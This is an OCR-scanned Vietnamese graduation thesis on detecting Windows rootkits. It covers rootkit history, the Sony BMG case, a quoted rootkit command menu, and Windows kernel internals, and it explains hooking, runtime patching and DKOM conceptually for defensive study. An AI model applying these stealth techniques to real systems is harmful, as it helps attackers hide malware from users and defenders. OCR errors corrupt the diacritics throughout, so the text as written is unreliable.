TOM TAT NOQI DUNG PO AN TOT NGHIEP

Rootkit 1a mot khai niém ton tai hon hai thap ky nhung khi dé cap dén van dé nay van
khé méi trong cac cudc hoi thao vé bao mat & Viét Nam. Rootkit cling dugc cho 1a gﬁn nghia
v6i “khong thé phat hién”. Hau hét cac cong nghé va ki thuat ma rootkit sir dung déu duoc
thiét ké dé 4n ma chuong trinh va dit liéu trén hé thng, ngoai ra ciing c6 cc tinh ning nhu
cho phép truy cap diéu khién rootkit tir xa va nghe trom, thyuc hién bt nghe 1én goi tin trong
mang.

Do 4n nay nghién ctru vé cac k¥ thuat ma rootkit st dung, tir k§ thuat c6 tir kha lau
nhu k§ thut hook dén nhitng k¥ thuat hién dai nhu runtime patching va ky thuét truc tiép can
thi€p cac ddi tuong cua kernel(DKOM) dé 4n tién trinh, 4n trinh diéu khién thiét bi, an tep tin,
an cong giao tiép mang va cac thanh phan lién quan khac dén rootkit trong hé thong.

Bén canh d6, d6 an trinh bay vé kién trac tong quan va co ché hoat dong cta hé diéu
hanh Window dé théy rd dugc hoat dong cua rootkit trén hé diéu hanh nay.

Sau khi da c6 co so vé cac k¥ thuat cia rootkit va windows kernel, dya vao d6 do an
dé xuét nhitng k¥ thudt phat hién ra rootkit va phat trién mot ung dung phat hién rootkit st
dung céc ki thuat phat hién da néu dé phat hién rootkit trong h¢ diéu hanh Windows.
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LOI CAM ON

Trude hét, em xin duogc chan thanh giri 101 cam on sdu sic t6i cac thay cb gido trong
truong Hoc Vién Cong Nghé Buu Chinh Vién Thong néi chung va cac thiy cb trong khoa
Cong nghé Thong tin néi riéng da tan tinh giang day, truyén dat cho em nhiing kién thirc,
nhitng kinh nghiém quy bau trong sudt 5 nim hoc tap va rén luyén tai trudng.

Em xin dugc gui 161 cam on dén thay L& Phic - Giang vién bd mon Mang May Tinh
truong Hoc Vién Cong Nghé Buu Chinh Vién Thong di hét long gitp d&, huéng dan va cho
em nhig 151 khuyén bé ich trong qué trinh em lam d6 an tot nghiép.

Cubi cung, em xin dugc gui 101 cam on chan thanh téi gia dinh, ban be da dong vién,
cham soc, dong gop v kién va gitp d& trong qué trinh hoc tap, nghién ciru va hoan thanh do
an tot nghiép.

Thanh Phé Hé Chi Minh, ngay thdng ndam
Vil Bic Ly

Sinh vién 16p An Toan Thong Tin — Khda 2010-2015
Khoa Cong nghé Théng tin — Hoc Vién Coéng Nghé Buu Chinh Vién Théng
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DANH MUC CAC THUAT NGU

Thuét ngir Y nghia

Mot tép tin trong h¢ théng NTFS c¢6 nhiéu lué)ng dir liéu, mot
ludng dit liéu dé luu théng tin vé& cac quyén trén tép d6, mot ludng
chudn dé chua dir lidu, cac ludng khac 1a lién két tro dén tép tin
nay, va mot ludng co tén 1a ADS dé luu dir liéu thay thé, ciing
cung tinh chét nhu ludng chuén.

Alternate Data
Streams

Nhitng mi 1énh muc thip nhat dé tir 6 tao nén nhing mia may
(machine instruction), c6 thé vi nhu cac trinh bién dich cdp cao
microcode hon st dung nhiing cau 1énh thay cho nhiing doan ma may.
Microcode dugc viét thuong kém theo mot kién tric CPU nao do,
trong pha thiét ké CPU.

La mot ddi twong ma nhitng théng tin bao mat nhu quyén han,
nhom nguoi dung,v..v... dugc luu trong ndé. Thuong duoc di kem
db6i tuong tién trinh hay ludng dé quan 1y vé quyén han truy cip bo
nhd va thyc thi cia tién trinh hay ludng do.

Access token

Mot trang nhé duoc ghi xudng dia cimg nhiam giai phong ving

Paging file nhé vt Iy,

Thu muc trang, 12 m§t mot mang gém 1024 gié tri 32bit, trod dén

Page directory page-table

Phan tir bang trang trd dén mot trang nhd xac dinh trong bd

P I .
age table nhd(page) hodc trén dia(paging file)
Kernel Event Qua trinh theo ddi va ghi lai cac sy kién cia nhan trong sudt thoi
Tracing gian hoat dong ctia hé thong.
Hooking K¥ thuét “cau méc” voi muc dich thay thé nhitng dia chi cia céac

ham c6 san nham muc dich thuc thi doan ma riéng

K§ thuat thay ddi cac byte trong 1énh dau tién cua ham truc tiép

Runtime patchin N s A i A 1A A < .
P g trong by nhd nham chuyén diéu khién dén doan ma cua rootkit.

jump Lénh nhay

Chuong trinh ghi lai phim bam, chup anh man hinh cta ngudi

keylogger diing
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DANH MUC TU VIET TAT

Tl‘I <A A 7. ~
s . Viét day du Y nghia
viét tit
ADS Alternate Data Streams Ludng dit lidu thay thé

Network Driver Interf . : 3 2
NDIS etwo i ¢ . terface bac ta giao di¢n cua trinh di¢u khién mang
Specification

TDI Transport Driver Interface Giao dién trinh didu khién truyén dit liéu

Thong tin vé khong gian dia chi 4o, ding

VAD Virtual Address Descriptor 2 ) p .
P de quan ly dia chi 40 ma tién trinh st dung.
Str dung dé anh xa cac dia chi toan cuc,
GDT Global Descriptor Table nhiéu dai dia chi khac nhau c6 thé anh xa

duoc thong qua GDT. GDT dugc dung
trong chuyén doi qua lai giira cac task.

Str dung dé 4nh xa cac dia chi cuc bo, dung
LDT Local Descriptor Table cho mdi task. LDT c6 thé chira cac thong
tin chi dan dia chi giéng nhu GDT.

Co ché trao dbi thong digp giita cac tién
LPC Local Procedure Call trinh ¢ toc d§ cao gitta cac thanh phan
Windows vi nhau.

Pugc ding dé quan 1y cac 16i goi hé théng,
SSDT | System Service Dispatch Table |1a mdt bang luu dia chi cua cac ham dich
vu hé thong.

Bang luu dia chi cac chuong trinh con xur

IDT Interrupt Descriptor Table .y
1y ngat.
. Mot chuan thiét ké giao dién 1ap trinh tmg
POSIX Portable Operating System dung cua IEEE dugc st dung phd bién trén
Interface LA A .
cac hé thong Unix
IAT Import Address Table Bang luu dia chi cac ham khi mot thu vién

DLL duogc nap vao bd nhd.
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D6 an t6t nghiép Pai Hoc

MO PAU

1. GIOI THIEU PE TAI

Trong nhitng ndm tré lai day, xu hudng hoi nhap toan ciu di tao ra nhitng dong luc phat
trién rat 16n cho nhén loai nhung dong thoi ciing dat ra nhiéu thach thirc can giai quyét nham
dap ung nhu cau sir dung tai nguyén mot cach hiéu qua va an toan. Ddi v6i nganh Cong nghé
Thong tin, sy bung nd cua Internet cling da lam bién ddi hoan toan tu duy, tam nhin cua cong
dong Cong nghé Théng tin noi riéng cling nhu cta toan xa hoi noi chung vé tiém ning va ca
nhing vin d& mang tinh dot ph4 trong su phat trién cta nganh khoa hoc nay. Bén canh nhing
loi ich rat 16n ma Internet dem lai thi Internet cling 1a mot “thé gioi ngém” - noi ma rootkit ,
virus, spyware, trojan horse... 4m thdm ton tai va phat trién. Vao nhitng nim dau cta thap
nién 90, rootkit dau tién ra doi chi 14 mot chuwong trinh backdoor cho phép hacker ¢ thé st
dung may tinh bi nhiém théng qua mot “cong sau”, k¥ thuat an cia rootkit don gian chi 1a
thay thé tép tin hé théng, vi du coi mgt chuong trinh tén 1a Is c6 chtrc nang liét ké toan bd tén
tép tin va thu muc thi rootkit thé hé dau sé thay thé boi mot chuong trinh c6 cung tén, chirc
nang twong dwong nhung lai 4n di nhiing tép tin ma c6 tén dinh nghia sin. Sau do, dé vuot
qua duoc nhitng chuong trinh kiém tra su toan ven cta hé thong, rootkit da phat trién 1én mot
bac va hoat dong trong nhan hé théng, ban dau 1a hé théng Unix. Khi rootkit d& nhiém vao
nhan hé diéu hanh thi n6 c6 thé thay ddi duoc toan bod nhiing tién ich ma nhan cung cép dan
dén kho khan trong viéc phat hién ra su ton tai cta rootkit.

Vao thang 8 ndm 2000, nhitng 161 phat ngon cua Steve Heckler - pho chu tich Sony
Pictures Entertainment tai My dd du bao su kién dién ra cudi nam 2005. Heckler tuyén b
trong budi Hoi nghi vé Cong nghé thong tin tai My nhu sau: “Nganh cong nghiép 4m nhac s&
lam da moi cach dé bao vé ngué)n thu ctia minh, ching ta s€ khong mat hét toan bo thu nhap,
Sony dang thyc hién mot bude tién vugt bac dé ngan chan lai viée sao chép khong ban quyén
nay, chung t6i s& phat trién mot cong nghé vuot qua tit ca ngudi dung ca nhan... Chung toi s&
chin Napster tir ngudn, chin tir trong timg mdy tinh, chin ¢ timg cong ty, chin & cac ISP...”.
Chién luoc nay dugc Sony theo dudi mot cach quyét liét. Sau d6 2 nam, nam 2002 tai Chau
Au, cong ty BMG da ban dia CD nhac han ché sao chép ma khong dua ra mot thong bao nao
trén dia, nhung cudi cung thi van phai d6i lai cho ngudi mua, BMG con dua ra thong béo s&
theo dudi cong nghé chdng sao chép manh hon va tinh vi hon. Ngay 5 thang 8 nam 2004,
Sony Music Entertainment (cong ty con cua Sony) va Bertelsmann Music Group (cong ty con
cua Bertelsmann) da sap nhdp thanh Sony BMG Music Entertainment, tr¢ thanh 1 trong 4
cong ty phan phdi nhac 16n nhét thé gidi. Tu tudng bao vé ban quyén 4m nhac cua Steve
Heckler va BMG duoc két hop lai, va thang 10 nam 2005, Mark Russinovich(ngudi sang 1ap
ra trang www.sysinternal.com ) da viét mot bai trén trang web ca nhan phan tich cu thé phan
mém an chira trong dia nhac ciia Sony BMG. Phan mém d6 ty dong cai vao may nguoi ding
mot cach bi mat, va hoan toan khong c6 ché do g0 cai dat. b6 chinh 1a Sony Rootkit, mdt
rootkit dugc sir dung boi mot cong ty 16m, ¢ kha ning an bat ki tép tin, khoa trong registry va
cac tién trinh ma c6 tén bat dau bai $sys$, kha ning nay ciing c6 thé dung dé che diu cho cac
Trojan hodc Worm c6 tén bit dau nhu vay chtr khong riéng gi chuwong trinh bao vé chong sao
chép cta Sony BMG. Trong trudng hop nay, Sony rootkit khéng phai 1a phin mém c6 hai
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nhung n6 d6 vo tinh tiép tay cho cac loai phdn mém c6 hai khéac tin dung diém yéu cta nhitng
may bi nhiém Sony Rootkit. Sau sy kién nay, rootkit dugc cdng déng bdo mat chu y hon va
bat dau nghién ciru su hon vé rootkit mac du rootkit dwoc ra doi tir nhimg ndm 90 cua thé ki
20.

Tir nhitng diéu trinh bay trén day, em di ¢ gang tim hiéu vé cic cong nghé ma rootkit
stt dung, tim hiéu vé nhén cua hé diéu hanh Windows va tmg dung nhitng cong nghé cua
rootkit trong bao mat hé thdng dé quyét dinh chon dé tai “Xay dung cong cu phat hién
rootkits trén Windows” lam d an t6t nghiép ctia minh. Dé tai di tir viéc nghién ctru nhiing k¥
thudt che diu c6 dién cua rootkit nhu Hooking dén nhitng k¥ thuat hién dai nhu Runtime
Patching hay DKOM, tim hiéu vé co ché hoat dong cua nhan h¢ diéu hanh Windows, su ton
tai cua rootkit trén hé diéu hanh Windows va ung dung trong viéc bao mat hé théng
Windows.

2. XAC PINH NQI DUNG CU THE CUA PO AN
Trong thoi gian 1am d6 an t6t nghiép, em da nghién ctru vé k§ thuat rootkit va xin dwogc trinh
bay nhing nodi dung sau trong dd an:

e Tim hiéu cac khai niém co ban cua rootkit.

e Tim hiéu vé hé diéu hanh Windows, bao gom kién tric tong quan, phuong thiac quan
Iy, co ché quan ly caa hé diéu hanh Windows nhu quan ly tién trinh, ludng, quan 1y bo
nhé. Kién tric caa nhan hé diéu hanh Windows.

e Hoat dong cua rootkit trén hé diéu hanh Windows, gom c6 cac ky thuat an nhu k¥
thuat kernel hook, user hook, ky thuat Runtime Patching, k¥ thuat truc tiép can thigp
cac ddi twong cua kernel(DKOM) dé an tién trinh, an trinh diéu khién thiét bi, an tep
tin, thu muyc va cac thanh phan lién quan khac dén rootkit trong hé théng.

e Tim hiéu cac ki thuat phat hién rootkit va dua ra phwong huéng phong chdng rootkit
trén cac hé thong sir dung hé diéu hanh Windows. Dya trén céac ly thuyét phat trién
chuong trinh phat hién rootkit don gian.

Véi nhitng n6i dung trinh bay & trén, bao cao dd an t6t nghiép cua em duoc chia thanh 3
chuong, n6i dung mdi chuwong dugc tom tat nhu sau:

Chuong 1 giéi thiéu tong quan vé cac khai niém co ban, sy phat trién cta rootkit tir
trudc to1 nay.

Chuong II tim hiéu vé nhan ciia hé diéu hanh Windows va hoat dong cuia rookit.
Trudce hét tim hiéu Kién tric cia hé diéu hanh Windows: céc khai niém co ban, Kernel Mode
va User Mode, md hinh hé diéu hanh, chi tiét cac thanh phén cia hé diéu hanh sy phat trién
ctia hé diéu hanh Windows. Tiép d6 1a co ché hoat dong ciia Windows: Khoi dong hé thong
Windows, céac kiéu bat sy kién, quan 1y cac ddi tuong, cac co trong Windows, co ché trao d6i
thong diép toc do cao,co ché theo ddi hoat dong cuia kernel. Tiép theo 14 phuwong thirc quan 1y
ctia Windows, quan 1y tién trinh, ludng, cong viéc va quan 1y bd nhé. Cudi cling trinh bay vé
hoat dong cua rootkit trén hé diéu hanh Windows, céc k¥ thuat an, k¥ thuat user hook va
kernel hook, k¥ thuat runtime patching, k¥ thuat DKOM. Day la nhitng cong ngh¢ ma rootkit
sir dung dé 4n moi thir lién quan dén no tir tién trinh, registry key, tép tin cho dén nhung tién
trinh khac.

Chuong I1I trinh bay vé cac k¥ thudt phat hién rootkit va bao vé hé thdng phong tranh
rootkit xdm nhap. Muc dich 1a phat hién dugc ham bi hook hodc phat hi¢n tién trinh an, day la
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2 trudng hop phd bién khi may nhidm rootkit. Cudi chuong ndy em xin trinh bay tng dung
phat hién rootkit dya trén cac ki thuat da néu trong chuong.
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CHUONG 1 : TONG QUAN VE ROOTKIT

1.1.  KHAINIEM ROOTKIT

Thuat ngit rookit da ton tai hon 10 nim nay, rootkit 1a mot bd gdbm cac chwong trinh
nhoé cho phép ké tdn cong c6 thé chiém dugc quyén root cia hé théng (trén hé diéu hanh
Unix/Linux coi root 1a ngudi ding c6 toan quyén dbi v6i hé thdng). Noi cach khac, rootkit 1a
mot tip cac chuong trinh va doan mé cho phép ton tai mot cach bén viing, l1au dai va gin nhu
khong thé phat hién trén may vi tinh.

Rootkit ciing duoc cho 13 gan nghia voi “undetectable” (khong thé phat hién). Hau hét
cac cong nghé va ky thuat ma rootkit str dung déu duogc thiét ké dé 4n ma chwong trinh va di
liéu trén hé théng. Phan 16n céc rootkit co thé an duoc cac tép tin, cac thu muc, khdi bo nho,
ngoai ra, rootkit cling c6 cac tinh ning nhu cho phép truy cap diéu khién tir xa, keylogger va
thuc hién nghe 1én goi tin trong mang. Khi cac cong nghé nay két hop lai thi rootkit tré nén
gan nhu khong thé phat hién dugc.

Rootkit khong mang nghia xau, va khong phai thuong dugc str dung dé lay trom thong
tin ca nhan. Pé don gian, c6 thé hiéu rootkit chi 1a mot cong nghé. Y dinh t6t hay xau 1a do
bat ngudn tir nguoi sir dung cong nghé rootkit. Mot sé chuong trinh st dung céng nghé cua
rootkit dé theo ddi hoat dong cua nguoi dung, vi du nhu Sony rootkit, mat khac, & mot s6 tap
doan 16n con sir dung cong nghé cua rootkit dé kiém tra va theo ddi viéc str dung cac may tinh
van phong xem ¢6 dung muc dich lam viéc hay khong. Rootkit chi hiru dung khi nguoi quan
tri hé théng mubn theo ddi va quén ly truy nhép cta toan bo hé théng.

Rootkit cung cip 2 chirc ning chinh d6 la:
e Truy nhap va diéu khién tir xa
Cung cip chiic ning remote thong qua dong 1énh (cmd.exe hodc /bin/sh), thuong liét
ké toan bo tinh nang cua rootkit
VD:

Win2K Rootkit by the team rootkit.com
Version 0.4 alpha

command  description

ps show process list

help this data

buffertest debug output

hidedir ~ hide prefixed file or directory
hideproc  hide prefixed processes
debugint  (BSOD)fire int3

sniffkeys  toggle keyboard sniffer

e Theo doi hoat dong ctia hé théng
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Thong thudng rootkit thudng an tép tin, thy muc va an chinh né, noi cac hacker
thuong tan dung chirc ning nay dé thuc hién mot s cong viéc khac nhu bat giit phim
nhén, bét géi tin truyén qua mang, doc thu. ..

1.2.  PHANBIET ROOTKIT

1.2.1. Rootkit va virus

Virus 1a mot chuong trinh, doan ma ty dong nhan ban, ngugc lai rootkit khong tu nhan
ban, va cling ton tai mdt cach ddc 1ap. Rootkit dugc di€u khién bdi nguodi tan cong con virus
thi khéng.

Trong hau hét cac truong hop, virus tao ra déu vi pham luat va khong thé diéu khién
duogc su lay nhiém, lan truyén cia nd. Rootkit do dugc dieéu khién tryc ti€ép bdi con ngudi nén
n6 cb cd thé ton tai hoan toan khong pham luét, tuy nhién muc dich sir dung cua rootkit van
phu thudc vao con nguoi.

Tuy rootkit khéng phai 1a virus, nhung cic cong nghé cua rootkit sir dung c6 thé ap
dung dugc cho virus. Nhitng h¢ diéu hanh phd bién nhu Microsoft Windows, chira rat nhiéu
16i bao mat va tir d6 virus tan dung dé lay nhiém va lan truyén qua mang Internet. Viéc nam
bat cac cong nghé cua rootkit rat quan trong khi muén diét virus, virus ngiy cang phat trién
hon va ciing ngay cang kho phat hién khi chiing st dung cong ngh¢ an cua rootkit.

1.2.2. Rootkit va 1§ hong cua hé thong

Rootkit ¢6 thé duge st dung két hop vé6i 16 hong, thong thudng thi rootkit s& dugc phat
trién va xay dung dua trén 16 hong nao dé, tuy nhién viéc nay lam cho rootkit tr& nén qua phu
thudc va khong thé dung trén cac hé thong khéac. Loai rootkit nay thuong khong duge sir dung
phé) bién vi nhuoc diém trén cua né. Co rat it cach dé truy nhap vao nhan cia Windows (vi du,
chuong trinh diéu khién phan cémg). L hong hé thong & mirc nhan vi du nhu tran bo dém
nhan (kernel-buffer overflow), 16 hong nay ton tai & hau hét cac trinh diéu khién thiét b
(device driver), khi hé thong khoi dong, chuong trinh nap rootkit s& st dung 16i nay dé nap
rookit vao trg thanh mot thanh phan hoat dong & mirc nhan. Hau hét nguoi sir dung khi phat
hién ra déu cho rang d6 1a 1 15i (bug) ctia nhan chir khéng phan biét duge do6 1a 16i gay nén
baoi rootkit.

1.3. CAC Ki THUAT CHINH CUA ROOTKIT

Rootkit thuong duogc thiét ké dé chay trén mo{t hé diéu hanh cu thé nao dé
(Windows/Linux). Néu rootkit duoc thiét ké truy nhép truc tiép vao phan cung, thi né sé bi
han ché bdi phan cimg riéng biét nao d6. Rootkit hoat dong trén mot ho cac hé diéu hanh, vi
du nhu Windows NT(Win NT, 2000, XP, 2003 Server), do ho hé diéu hanh nay duoc thiét ké
trén cing mot nhan va c6 céu trac dir liéu gan nhu nhau.

Rootkit c6 thé sir dung nhiéu hon mét md dun trong nhan hodc cac chwong trinh
driver, vi dy, mdt rootkit st dung mot driver dé quan ly toan bd viéc an cac tép tin, va mot
driver khac dé an cac khoa trong registry. Rootkit tr& nén phtic tap néu né cé nhiéu thanh
phan, mdi thanh phan dam nhiém chiic ning riéng va kha phirc tap trong viéc quan 1y ting
thanh phan d6. Bé don gian, ta xét mot rootkit c6 nhidu chirc nang, va phan tich cac k¥ thuat
su dung trong ting chirc nang do:

e Chirc ning an tép tin: St dung hook dé thay thé mot loat cac ham lién quan dén quan
ly hoat dong tuong tac 1én tép tin trong hé thong, st dung ADS dé luu trir dir liéu.
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e Chuc ning an két néi mang: Str dung NDIS va TDI

e Chuc ning an khoa trong Registry

e Chirc ning an tién trinh, truc tiép can thiép vao dbi twong cua nhan (DKOM)

e Chirc nang ty dong khoi dong, khi may tinh khai dong lai, rootkit can duoc nap lai,
cach thuong dung 1a sir dung 1 khoa trong registry va an khéa d6 lai, tuy nhién cach
nay dé bi phat hién bai cac chuong trinh anti-rootkit, phuong phap khac 1a can thiép
vao qué trinh khai dong, thay ddi cac ddi twong tham gia vao qua trinh khoi dong va
chinh stra chuong trinh boot-loader

1.4.  SUPHAT TRIEN CUA ROOTKIT
Rootkit ngay cang phét trién va dang dan dan vuot qua cac cong cu an toan hé thdng, nhu
13 twong lira hodc hé thong phat hién xam nhap(IDS). C6 2 dang cta IDS, d6 1a network-based
(NDIS) va host-based (HDIS). HDIS c6 kha nang phat hién ra rootkit vi st dung nhiing cong
nghé bén trong nhan hé théng va theo ddi toan bd hé diéu hanh, co thé noi HDIS 1a mot
chuong trinh anti-rootkit. O chuong 3 s& ndi chi tiét hon vé anti-rootkit. Tuy nhién, do cong
nghé rootkit ngay cang phat trién nén c6 cac huéng vugt qua HDIS va tudng lira, d6 1a chii
dong va bi dong. Huéng chii dong sé& thyc hién luc chay va duoc thiét ké dé chdng lai su phat
hién, hudng bi dong thudng duogc thuc hién “ngdm” nhu can thiép vao phan ctng hé théng va
muc tiéu 13 1am cho cang kho phat hién ra cang tot.
e Hudng chu dong sé& can thiép vao nhan dé chdng lai DIS, rootkit ngan nhimg chuong
trinh chay trong bd nhé ma thuc hién cdng viéc phét hién rootkit.
e Huéng bi dong sé tac dong chu yéu trong qué trinh luu trit dir liéu dé ting kha ning
che ddu cua rootkit, thong thuong dir liéu duoc ma héa va luu vao ADS, tuy nhién, dit
liéu con dugc ghi vao vung bo nhd nhu EEPROM thay vi ghi vao ADS.

Rootkit thé hé ddu chi 1a nhitng chuong trinh binh thudng, con ngay nay thuong duoc cai
dat va phat trién dudi dang mot trinh diéu khién thiét bi. Vai nam t6i, rootkit co thé thay do6i
va cai dat vao microcode cua vi xu ly, hoac ton tai trén microchip cua may vi tinh. Cac bo nhd
flash da giam toi da kich thudc dé ha gia thanh timg chip EEPROM, do vy, dé co thé ghi
rootkit vao trong do thi phai loai b6 mot s6 tinh ning nhung phai giit lai cac chtic ning chinh.
Rootkit ¢ thé an ndp mot cach tot hon, khé phat hién hon nhung bu lai chi ton tai trén mot
muc tiéu cu thé do phu thudc vao mot phén cung xac dinh.
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CHUONG 2. ROOTKIT VA WINDOWS KERNEL
2.1. KIEN TRUC HE PIEU HANH

2.1.1. Téng quan vé h¢ diéu hanh windows

Chuong nay sé& trinh by vé sau bén trong hé diéu hanh Windows, tir myc dich thiét
ké, m6 hinh chung dén cac thanh phan ciia nhan hé diéu hanh Windows. Qua d6 thay dwoc
huéng tan cong cua rootkit khi viot qua cac dich vu caa hé diéu hanh Windows.

T4t ca may vi tinh & moi kich thuéc hau hét déu cd hé diéu hanh. Hé diéu hanh 1a mot
tap nhimg chuong trinh cung cdp c4c dich vu cho cac chuong trinh khac. Cac hé diéu hanh
hién dai thuong 13 da nhiém, cho phép cac chuong trinh c6 thé chay dong thoi. Hau hét nhiing
may tinh c& nhan str dung hé diéu hanh Microsoft Windows. Cac may chu phan 16n ding hé
diéu hanh Unix hoac Sun Solaris, sb it con lai dung hé diéu hanh Windows. M&i hé diéu hanh
déu c6 cung muc dich 1a cung cdp mot tap cac giao dién dong nhét dé cho cac chuong trinh
g dung cd thé truy nhap dugc thiét bi phan cing. Nhitng dich vu mac 16i cho phép truy
nhap vao cé4c tép tin hé thdng, cac giao thizc mang, ban phim, chudt va thiét bj hién thi. Bén
canh d6, hé diéu hanh con cung cap céac chire nang debug va phan tich hé théng, cho phép cac
g dung c6 thé béo cao lai trang thai khi bi I3i. ..

Hé diéu hanh thudng cung cip cac co ché truy nhap vao hé thdng thdng qua mot sd
dich vu va co ché riéng, diéu nay 1am cho viéc phat trién cac ang dung tré nén don gian hon,
tuy nhién, van con cach khac dé truy cap hé théng mot céach tryc tiép khéng théng qua cac
dich vu cua hé diéu hanh. D6 chinh 1a nguyén nhan ma rootkit can thiép vao nhan hé diéu
hanh c6 thé gay anh huong cho hau hét cac phan mém ing dung khac.

Cac phién ban cua hé diéu hanh Windows dugc noi dén trong dd an nay déu dua trén
nhan Windows NT. Bao gom:

Bang 2.1 — Cac phién bdn cia hé diéu hanh Windows

Tén hé diéu hanh Phién ban build | Ngay phat hanh
Windows NT 3.1 3.1 7-1993
Windows NT 3.5 35 9-1994
Windows NT 3.51 3.51 5-1995
Windows NT 4.0 4.0 71996
Windows 2000 5.0 12 - 1999
Windows XP 5.1 8- 2001
Windows Server 2003 | 5.2 3- 2003

Mot sb cac thanh phan chinh ctia hé diéu hanh néi chung dugc liét ké trong bang dudi
day, va huéng can thiép dé dat dugc muc dich cia rootkit:

Bang 2.2. Thanh phan chinh cua mét hé diéu hanh

Quan 1y tién | Cac tién trinh can str dung CPU, do d6 nhan ctia hé diéu hanh chira cac
trinh doan ma dé cip phat thoi gian st dung CPU, nhan s& dit lich st dung
cho mbi luéng cua tién trinh, di liéu trong bo nhd dugc theo doi va su
dung boi tat ca cac ludng va tién trinh. Bang cach can thiép vao mot sd
ciu truc dir liéu s& an duoc tién trinh dang chay.
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Quan 1y truy | Hé thong tép tin 1a mot trong nhirng thanh phan quan trong nhit ma hé
nhap tép tin diéu hanh cung cip. Nhan cung cip mot giao dién dé truy nhap cho cac
hé théng tép tin, néu can thi€p vao dugc phén nay cda nhan thi nguoi
dung cé thé 4n duge tép tin va thu muyc.

Bao mat Nhan h¢ diéu hanh giéi han tuong tac gitta cac tién trinh v&i nhau
nham muc dich bdo mat, moi tién trinh dugc cho phép st dung trén
mdt vung nhd nao d6 riéng bict véi nhau.

Quan 1y bd | BO nhé trong hé diéu hanh co6 thé duoc anh xa dén nhiéu vung khéc
nho nhau trén bo nhé vat 1y, moi tién trinh duge anh xa dén vung nhd doc
lap v6i nhau. Vi du mét tién trinh doc tir dia chi 0x00401111 gia tri
“AAA” nhung mét tién trinh khac ciing doc tir dia chi 000401111 gia
tri “BBB”, chi tiét vé& quan 1y bd nhé trong windows & muyc 2.5.

2.1.2. Céc khai niém co ban vé windows
Windows API: Giao dién 1ap trinh tmg dung, cung cp rat nhiéu nhitng ham c6 sin duoc
chia thanh cac muc chinh sau:

e (Cac dich vu co ban

e Dijch vu thanh phan

e Dijch vu vé giao dién

e Dich vu vé dd hoa va da phuong tién
e Dich vu lién két va tin nhan

e Dich vy mang

e Dich vu web

Rootkit s& thuc hién thay d6i mot phan cua dich vu co ban, bao gdm quan Iy tién trinh,
ludng, bo nhé, vao ra va bao mat.

Native system services: Nhitng dich vu mirc thdp nhat caa hé thdng, 6 thé duoc goi tir
user-mode, vi du NtCreateProcess la dich vu hé théng muac thip nhat, tir 6 ham API
CreateProcess goi dé tao mét tién trinh méi.

C4c tién trinh dich vu caa Windows: Nhirng tién trinh caia Windows duoc tao bai dich vu
quan ly céc dich vu muc user-mode, vi du nhu Task manager...

Céc ham Kernel: Nhitng ham bén trong hé diéu hanh ma chi duoc goi tir trong kernel
mode

2.1.3. Kernel mode va user mode

Dé bao vé cac ung dung cta ngudi dung khoi viée truy cap va thay dbi nhitng dir liéu
quan trong cua h¢ diéu hanh, hé diéu hanh Windows st dung 2 ché do xu 1y truy nhap: ché do
ngudi dung, goi 13 user mode va ché do nhan goi 1a kernel mode. M3 chwong trinh cta ngudi
su dung chay trén user mode, ma cua h¢ diéu hanh chay trén kernel mode. Kernel mode 1a
mot ché do thyc thi trong vi xir Iy ma cho phép chay tit ca cac 1énh CPU va truy nhédp vao
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toan bd bo nhd. Viée nay 1am cho cac tng dung khong thé anh huong dén hoat dong cua nhan
va 1am hé thdng 6n dinh hon.

Ho vi xtr Iy x86 cua Intel str dung khai niém Ring dé diéu khién truy nhap. C6 4 ring,
tir Ring 0 dén Ring 3, Ring 0 13 ving c¢6 quyén mirc cao nhat va ring 3 1a ving co it quyén
nhit. T4t ca cac mi ciia nhan trong hé diéu hanh Windows chay trén Ring 0, do vay rootkit
chay trong nhan cling coi nhu dang chay & trong Ring 0. Nhitng chuong trinh itmg dung nhu
bang tinh, email... thi thoang dugc goi 1a nhitng chuwong trinh & Ring 3. Ca hé diéu hanh
Windows va Linux déu tdn dung dic diém cua Ring 0 va Ring 3 trén bo xtr Iy x86 cua Intel dé
thiét ké h¢ diéu hanh.

CPU theo doi viéc doan ma cua phﬁn mém nao va bd nhd nao duoc gan cho mdi Ring,
va cung cip su truy cap gidi han theo Ring. Nhing chuong trinh ¢ Ring 3 thi khong thé truy
cap duoc bo nhd & Ring 0, néu co truy cap thi CPU sé& dua ra ngit. Rootkit thudng dugc nap
boi 1 chuong trinh ¢ Ring 3, goi nhitng ham dac biét dé cai dat va nap chung vao nhan, tir d6
rootkit c6 kha nang hoat dong trén Ring 0.

User
Programs

Kemesl
Programs

Hinh 2.1. Phdn logi diéu khién truy nhdp trong Intel x86

M(:)t s6 1énh chi thyc hién trén Ring 0, thuong 13 nhimng 1énh cho phép truy cép truc tiép vao
phén ctng, vi du:

e cli: cAm xur 1y ngit trén CPU

e sti: cho phép ngit trén CPU

e in: Doc dir licu tir céng

e out: ghi dir liéu ra cong

Mai tién trinh caa Windows c6 mot khong gian dia chi riéng, cac ma cia hé diéu hanh va
trinh diéu khién thiét bi ding chung mét khong gian dia chi a0. Mai trang trong bé nhé dugc
danh ddu 1a n6 dang & ché d6 nao. Nhirng trang nhé chi doc thi khong thé ghi lai & bat ki ché
do nao.

Hé diéu hanh Windows khdng cung cap co ché nao dé chdng lai viéc doc/ghi vao ving
nhé hé théng dang dugc sir dung boi cac thanh phan caa hé diéu hanh. N6i cach khac 13, néu
dang & trong kernel mode thi hé diéu hanh va trinh diéu khién thiét bi toan quyén truy cap vao
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viing nhé cua hé théng va bo qua duoc co ché bao mat cia Windows, ciing nhu vay, cac trinh
diéu khién cua cac hang thir 3 néu hoat dong ¢ kernel mode thi c6 thé toan quyén truy nhap
vao dit liéu cua hé diéu hanh. Windows s& thong bao trinh diéu khién khong duoc phé duyét
boi hé diéu hanh trong Ilc cai.

Céc tng dung & user mode khi goi nhitng ham dich vu hé thdng vi du nhu ham API
ReadFile thi bo xu ly bdy lénh d6, kiém tra lai céc tham sb va sau d6 truyén cho ham hé théng
goi nhiing tha tuc trong kernel mode dé thuc hién viéc doc dit liéu tir tép tin, lic ndy CPU
hoat dong & kernel mode, sau khi thuc hién xong thi n6 chuyén dbi lai sang user mode. Bing
cach nay ma hé diéu hanh bao vé duoc dir liéu caa né khdng bi can thiép bai cac tién trinh cua
nguoi dung.

2.1.4. M6 hinh hg diéu hanh

Trong hau hét cac hé diéu hanh da nguoi dung thi cic Gmg dung dugc phan tach rd
rang voi hé diéu hanh, ma ctia nhan hé diéu hanh chay & muc uu tién cao cua b xu 1y (goi la
kernel mode) c6 kha ning truy xuat dit liéu hé thong va phan cing. Ma cta ung dung chay &
ché d6 binh thudng cua bd xtr Iy (user mode), bi gidi han trong truy xut dit liéu cta hé thong,
